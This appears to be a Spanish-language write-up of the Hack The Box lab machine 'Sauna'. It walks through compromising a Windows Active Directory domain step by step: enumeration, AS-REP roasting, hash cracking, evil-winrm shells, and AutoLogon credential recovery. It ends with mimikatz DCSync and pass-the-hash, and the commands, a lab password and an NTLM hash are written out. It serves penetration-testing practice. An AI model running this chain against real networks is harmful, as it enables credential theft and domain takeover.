5 minute read

header-sauna

Datos de la Máquina

Contenido Descripción
OS: windows
Dificultad: Fácil
Puntos: 20
Lanzamiento: 25 Feb 2020
Retirada: 18 Jul 2020

Reconocimiento

Lo primero que realizaremos es agregar la dirección IP de la máquina Sauna a nuestro archivo /etc/hosts con el siguiente dominio sauna.htb.

hosts

nmap

Una vez agregada la dirección IP de la máquina víctima a nuestro archivo host, procederemos a realizar un escaneo TCP/IP a los 65535 puertos existentes, y validar cuales se encuentran abiertos, esto lo realizaremos con el siguiente comando:

nmap -n -p- -T4 --min-rate 5000 --max-retries 5000 sauna.htb --open -oA nmap/allports

Una vez terminado el escaneo identificamos que cuenta con los siguientes puertos abiertos:

  • 53/tcp (domain)
  • 80/tcp (http)
  • 88/tcp (kerberos-sec)
  • 135/tcp (msrpc)
  • 139/tcp (netbios-ssn)
  • 445/tcp (microsoft-ds)
  • 464/tcp (kpasswd5)
  • 593/tcp (http-rpc-epmap)
  • 636/tcp (ldapssl)
  • 3268/tcp (globalcatLDAP)
  • 3269/tcp (globalcatLDAPssl)
  • 9389/tcp (adws)
  • 49667/tcp (unknown)
  • 49673/tcp (unknown)
  • 49676/tcp (unknown)
  • 49697/tcp (unknown)
  • 49718/tcp (unknown)

nmap-alltcp

Una vez identificados los puertos abiertos, procedemos a la identificación de versiones y servicios de cada uno de ellos, adicionalmente arrojaremos los script que cuenta nmap para enumerar los servicios.

Cabe mencionar que el argumenteo -sCV es una union de -sV y -sC.

nmap -n -sVC -p 53,80,88,135,139,445,464,593,636,3268,3269,9389,49667,49673,49676,49697,49718 -T4 --min-rate 5000 --max-retries 50000 sauna.htb -oA nmap/script-tcp

nmap-scripts

Identificamos que al ejecutar el script LDAP nos arroja el nombre del dominio EGOTISTICAL-BANK.LOCAL0, algo que nos ayudara más tarde.

Enumeración

HTTP (80)

Realizamos una visualización sobre el puerto HTTP(80), en el cual podemos observar que se trata de un sitio web de un banco.

http-web

Enumeración a Directorios

Al visualizar el sitio web, no encontramos nada interesante por lo cual realizaremos una enumeración de este sobre directorios, para esto basta con ejecutar el siguiente comando:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://sauna.htb/FUZZ -c -fs 42

enum-dir

Al visualizar la anterior ilustración se observa que no existe ningun directorio interesante.

SMB (445)

Al identificar que el puerto 445 (SMB) esta abierto, procederemos a realizar enumeración de anonymous con smbmap y smbclient

smb-enum

LDA (389)

Al ejecutar los script de nmap realizó una enumeración exitosa sobre el nombre del dominio EGOTISTICAL-BANK.LOCAL0.

Ejecutaremos una herrmienta llamada ldapseach

Primero tendremos que crear la query para obtener el dominio base ejecutamos lo siguiente:

ldapsearch -x -H ldap://10.129.223.148 -b "dc=Egotistical-bank,dc=local"

ldap-enum-01

ldap-enum-users

Una vez realizada la enumeración con ldapsearch, observamos un usuario e identificamos el dominio base.

DNS (53)

Identificando que el puerto 53 (DNS), trataremos de realizar una transferencia de zona.

dns

Kerberos (88)

Ya que no contamos con credenciales, lo que realizaremos es fuerza bruta sobre nombres para esto utilizaremos Kerbrute.

kerbrute userenum -d EGOTISTICAL-BANK.LOCAL /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt --dc 10.129.223.148 

kerbrute

Observando en la ilustracion anterior, identificamos usuarios validos lo cual nos ayudará posteriormente a ejecutar ataques.

Una vez que obtenemos los usuarios, podremos ejecutar con GetNPUsers.py, con el siguiente comando.

GetNPUsers.py 'EGOTISTICAL-BANK.LOCAL/' -usersfile users.txt -format hashcat -outputfile hashes.aspreroast -dc-ip 10.129.223.148

impacket-user

Una vez que obtenemos el hash del usuario, procederemos a romperlo con hashcat

hashcat

Despues de unos minutos podemos observar que se pudo romper el hash con exitó.

hashcat-cracked

Evil-WinRM

Una vez obtenido el password de nuestro usuario, trataremos de obtener una shell con evil-winrm.

evil-winrm -i 10.129.223.148 -u fsmith -p <pass>

evilwinrm-01

Tenemos acceso como jsmith, lo cual buscaremos la primer flag.

flag-user

Post Explotation

Una vez obtenido el acceso al usuario jsmith, procederemos a realizar una enumeración para obtener acceso Administrator.

Enumeración

Una vez que obtenemos acceso procedemos a realizar una enumeración, lo primero será validar con quien estamos logeados.

whoami

post-exp-01

Antes de emezar a realizar la enumeración sobre el AD, realizaremos una enumeración local

Trataremos de visualizar la información del sistema, pero no contamos con los permisos suficientes para obtener esta información.

systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"

post-exp-02

Observamos que no tenemos permisos para ejecutar systeminfo.exe

Validamos que privilegios tenemos que este usuario ejecutaremos lo siguiente:

whoami /priv

post-exp-03

Al parecer no podemos realizar nada con este usuario.

Vamos a obtener los usuarios del dominio.

net user /domain  

post-exp-04

Adicionalmente de los 2 usuarios que obtenimos en la enumeración anterior, encontramos Administrator, krbtgt, svc_loanmgr.

Actualizamos nuestro users.txt, con estos nombres y continuamos la enumeración de nuestro usuario.

net user jsmith /domain

post-exp-05

No encontramos nada interesante, pero observamos que permite Administración Remota es el acceso que tenemos por winrm.

Kerberoasting

Ahora validaremos si los usuarios que encontramos son kerberoastables, para esto usaremos Rubeus, y lo subiremos con la funcion de upload de evil-winrm.

rubeus

Una vez en la máquina víctima, ejecutaremos lo siguiente:

.\Rubeus.exe kerberoast

rubeus-01

Como observamos en la ilustración anterior nos arroja que existe 1 usuario kerberoastable, pero al intentar hacer una peticion al SPN nos arroja un que las credenciales no estan disponibles.

Enumeración con Bloodhound

Una vez validada la información anterior, y recordando que tenemos acceso realizaremos una enumeración al AD con Bloodhound.

Para esto utilizaremos el SharpHound.exe, el cual nos creará un .zip.

sharphound

Unicamente basta con ejecutar lo siguiente:

.\SharpHound.exe

Una vez terminado el script nos creará un .zip

Una vez generado el reporte de bloodhound, para descargarlo usaremos la utilidad download de evil-winrm.

sharphound

Una vez descargado el reporte, lo abriremos con bloodhound arrastrandolo y nos aparecera una ventana como la que aparece a continuación.

bloodhound

Una vez descargado el reporte de SharpHound e importado en Bloodhound podremos ejecutar diferentes querys, para identificar el camino más corto para obtener el Administrator.

bloodhound-01

Una vez identificado el camino que podremos seguir para obtener el acceso al servicio svc_loanmanager.

Para esto ejecutaremos la siguiente query, para checar el registro AutoLogon.

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

req

Como se puede observar en la imagen anterior, obtenemos las credenciales de svc_loanmanager, por lo cual intentaremos conectarnos con evil-winrm.

evil-winrm -i 10.129.223.148 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'

evilwinrm-svc

Una vez conectados como el usuario svc_loanmanager y validando que usuario somos.

Subiremos mimikatz, es una herramienta que nos servira para dumpear la sam y obtener los hashes NTLM, para esto haremos uso de upload de evil-winrm.

mimikatz-01

Una vez subido nuestro binario, basta con ejecutar lo siguiente:

Como se observa en la siguiente ilustración obtenemos los hashes NTLM.

.\mimikatz.exe 'lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /user:administrator' exit

mimikatz-02

Una vez obtenido el hash NTLM, podremos acceder a la cuenta Administrator, con el siguiente comando.

evil-winrm -i 10.129.223.148 -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e

Admin

Good Luck! and Happy Hacking!